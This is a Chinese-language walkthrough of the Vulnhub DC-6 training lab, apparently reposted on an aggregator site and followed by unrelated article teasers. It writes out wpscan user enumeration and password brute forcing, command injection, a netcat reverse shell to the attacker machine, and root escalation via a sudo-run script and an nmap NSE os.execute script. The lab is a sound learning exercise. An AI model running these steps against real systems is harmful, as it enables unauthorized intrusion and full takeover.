【Vulnhub靶场】DC-6

DC-6靶场下载地址:https://download.vulnhub.com/dc/DC-6.zip​​​​​​

目标

本机IP:192.168.118.128

靶机IP:192.168.118.0/24

信息收集

主机发现

arp-scan 192.168.118.0/24

根据上图得出目标主机为192.168.118.143

扫描端口,扫描服务

nmap -p- 192.168.118.143nmap -sV -A 192.168.118.143

扫描出开放了80端和22端口及两个服务

结合里面的信息,应该是要修改hosts,进入文件添加如下信息

访问web页面,也没有什么可以利用的,但是发现CMS应该是WordPress,使用whatweb查看一下,确实是这样的

 

目录扫描

使用dirsearch扫描一下目录,这里主要扫描到的是一个后台登录目录 /wp-login.php

密码爆破

使用 wpsan 爆破用户名

wpsan是一款专门用来扫描 WordPress网站漏洞的工具

wpscan --url http://wordy -e u

这里扫描出来了五个账户名:admin,mark,grahan,sarah,jens 

这个靶场简介里面给了我们一个提示

不出意外应该是直接进行暴力破解了

直接使用提示中的命令进行密码的提取

cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt

第一次发现失败了,查找以后发现rockyou.txt文件被压缩为rockyou.txt.gz

首先在 /usr/share/wordlists中使用gzip -d rockyou.txt.gz解压

再次运行上述命令,密码被成功提取到桌面

然后我们再桌面创建users.txt文件,将之前得到的账户名写入

touch users.txt
vim users.txt

使用wpsan爆破账号密码,成功跑出(mark :helpdesk01)

使用 mark 的账号密码成功登录到后台管理页面,找到了一个IP地址转换的工具,可以对输入的IP地址进行计算

这里对输入的字符长度有限制,直接修改JS前端的限制,经过测试,这里的输入框是存在任意命令执行漏洞的

反弹shell

nc -lvvp 6666192.168.110.123;nc -e /bin/sh 192.168.118.128 6666

反弹shell成功,发现不是稳定shell,老套路上传脚本升级为交互式shell

python -c "import pty;pty.spawn('/bin/bash')"

尝试一下SUID提权,寻找有SUID权限(4000)的文件,过滤其他的错误信息

find / -perm -4000 2>/dev/null

 并没有看到常用的SUID提权命令(nmap、vim、find、bash、more、less、nano、cp 等)

在home目录下查看有用信息,查询到四个用户,查看四个用户下的特殊文件,在jens内有一个备份文件backups.sh,在mark下有一个stuff文件

在用户jens下执行backups.sh文件,发现没有权限执行

再次进入用户mark目录下寻找信息,最终得到了graham的密码:graham :GSo7isUM1D4

然后使用su - graham 命令直接切换用户

提权

使用sudo -l 查看是否有免密码的root权限

尝试写入/bin/bash,直接免密码切换到 jens 用户

echo "/bin/bash" >> backups.shsudo -u jens ./backups.sh

查看是否有suid提权或者sudo提权的可能

find / -perm -4000 2>/dev/nullsudo -l

nmap提权

原理:

假设你有权限以 root 用户身份运行nmap,如果攻击者能够控制或访问你的系统,他们可以利用这个脚本获得 root 权限的 shell。

将字符串 os.execute("/bin/bash") 写入到名为 root.nes 的文件中。这个文件是一个 NSE脚本,用于在扫描过程中执行特定的操作。在这个例子中,它包含了一行 Lua 代码,告诉 Nmap 在目标主机上执行 /bin/bash

使用nmap工具来执行之前创建的 root.nes 脚本。sudo -u root 表示以 root 用户的身份运行nmap命令。--script=root.nes参数指定了要使用的 NSE 脚本

echo 'os.execute("/bin/bash")' > root.nessudo -u root nmap --script=root.nes

提权成功,进入 /root 查找,得到flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/58112.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

深入理解Java基础概念的高级应用(1/5)

目录 1. Java内存模型:堆、栈与方法区 示例代码:对象存储位置 2. 类加载器的工作原理 示例代码:自定义类加载器 3. JVM如何执行字节码 字节码指令示例 4. Java基础数据类型的存储与操作 自动装箱与拆箱 示例代码:基础类型…

Python小游戏14——雷霆战机

首先,你需要确保安装了Pygame库。如果你还没有安装,可以使用pip来安装: bash pip install pygame 代码如下: python import pygame import sys import random # 初始化Pygame pygame.init() # 设置屏幕大小 screen_width 800 scr…

Android在kts中使用navigation及Args

Android在kts中使用navigation及Args 前言: ​ 之前在项目中使用过navigation,但都是以Groory的方式,最近一年多使用kts后忍不住把项目都改成kts的方式,不过其中也遇到不少坑,今天就讲解一下如何在kts中使用navigati…

解决蓝牙键盘按键错乱的问题

最近发现我的蓝牙键盘按下的键盘与实际不符,于是就上网搜索答案,网上的方法都试了一遍 最后想着准备退货,没想到客服直接给我解决了 原因很简单,就是之前误触了键盘的某些按键导致的 每个键盘品牌的按键因该都不同的,可…

VBA技术资料MF220:删除模块内容

我给VBA的定义:VBA是个人小型自动化处理的有效工具。利用好了,可以大大提高自己的工作效率,而且可以提高数据的准确度。“VBA语言専攻”提供的教程一共九套,分为初级、中级、高级三大部分,教程是对VBA的系统讲解&#…

英伟达GPU算力【自用】

GPU(图形处理单元)算力的提升是驱动当代科技革命的核心力量之一,尤其在人工智能、深度学习、科学计算和超级计算机领域展现出了前所未有的影响力。2024年的GPU技术发展,不仅体现在游戏和图形处理的传统优势上,更在跨行…

ZooKeeper 客户端API操作

文章目录 一、节点信息1、创建节点2、获取子节点并监听节点变化3、判断节点是否存在4、客户端向服务端写入数据写入请求直接发给 Leader 节点写入请求直接发给 follow 节点 二、服务器动态上下线监听1、监听过程2、代码 三、分布式锁1、什么是分布式锁?2、Curator 框架实现分布…

qt 滚动条 美化

qt QScrollBar 滚动条分为竖直与水平滚动条,两者设置上类似,但也有一些不同,下面主要讲述美化及注意事项。 一、竖直滚动条 竖直滚动条分为7个部分: sub-line、 up-arrow 、sub-page、 hanle、 add-line、 dow-arrow、 add-pag…

线性回归模型与检验 6个适用条件

当因变量与自变量间存在线性相关关系时,可以使用线性回归分析方法确定它们之间的相互依赖的定量关系。此处所说的定量关系,并非严格的因果关系,而是自变量X对因变量Y的影响或预测的作用。 例如分析广告费、产品单价、产品满意度、服务满意度…

说它是谁就是谁—Python语言中的鸭子类型

鸭子类型(Duck Typing)是动态类型语言中的一种类型推断风格,尤其在Python语言中得到了广泛的应用。它的核心思想是:“如果它走起路来像鸭子,叫起来像鸭子,那么它就是鸭子”。这句话的意思是,我们…

python_httpstat库

Python httpstat是一个基于Python的命令行工具,用于测量HTTP请求的性能和状态信息。它能够向目标服务器发送HTTP请求,并显示详细的统计信息,包括DNS解析时间、建立连接时间、TLS/SSL握手时间、首字节时间、总时间等。这些信息对于排查网络问题…

详解varint,zigzag编码, 以及在Go标准库中的实现

文章目录 为啥需要varint编码为啥需要zigzag编码varint编码解码 zigzag编码解码 局限性 为啥需要varint编码 当我们用定长数字类型int32来表示整数时,为了传输一个整数1,我们需要传输00000000 00000000 00000000 00000001 32 个 bits,而有价…

SQLite3库增删改查实现数据管理

1. SQLite3简介 SQLite3是一个轻量级的、嵌入式的关系型数据库管理系统,在保存测序数据或结果等时可使用,简单高效,并且有无需服务器、单文件存储数据、支持标准SQL、支持跨平台等优势。 本文以Sqlite3数据库为基础,创建代码示例…

tomcat基本配置

目录 1.java容器简介介绍 2.部署tomcat 2.1上传jdk 2.2创建一个软连接 2.3配置环境变量 2.4读取环境文件并且查看java版本 2.5检查jdk tomcat信息 2.6启动tomcat 2.7检测 3.tomcat 目录结构 3.1总体目录 3.2 bin目录 3.3conf 3.4 logs日志 4.运行代码 4.…

如何确保电子商务网站服务器的正常运行时间

对于电商网站而言,服务器的正常运行时间至关重要。网站宕机会直接影响销售额、客户体验以及品牌声誉。本文将详细探讨如何监控并保障服务器的正常运行时间,确保您的电商网站始终保持在线状态, 为什么监控正常运行时间很重要? 减…

【Oracle实验】字段为空的,无法通过排除判断

Oracle相关文档,希望互相学习,共同进步 风123456789~-CSDN博客 1.场景描述 需求:查询不是某个机构的数据。 同事SQL:where substr(bank_code,1,9) not in(014009001); 看SQL似乎没什么问题,分析…

【modbus协议】libmodbus库移植基于linux平台

文章目录 下载库函数源码编译路径添加libmodbus 源码分析核心数据结构常用接口函数 开发 TCP Server 端开发TCP Client 端 下载库函数源码 编译路径添加 libmodbus 源码分析 核心数据结构 modbus_t结构体: 这是 libmodbus 的核心数据结构,代表一个 Mod…

OSPF特殊区域及其他特性

不用的链路这状态信息没必要一直保存,要不路由器承受不了。用OSPF 特殊区域解决 1. Stub区域和Totally Stub区域 R1作为ASBR引入多个外部网段,如果Area 2是普通区域,则R3将向该区域注入5类和4类LSA。 当把Area 2配置为Stub区域后&#xff1a…

node升级package.json中的版本

由于项目使用时间过老,升级对应包版本,可以使用新功能 1.使用npm-check-updates这个工具,先全局安装 npm install -g npm-check-updates2.检查package.json中dependencies的最新版本 ncu3.更新dependencies到新版本 ncu -u也是一样的 npx…

探索Python安全字符串处理的奥秘:MarkupSafe库揭秘

文章目录 探索Python安全字符串处理的奥秘:MarkupSafe库揭秘第一部分:背景介绍第二部分:MarkupSafe是什么?第三部分:如何安装MarkupSafe?第四部分:MarkupSafe的简单使用方法1. 使用escape函数2.…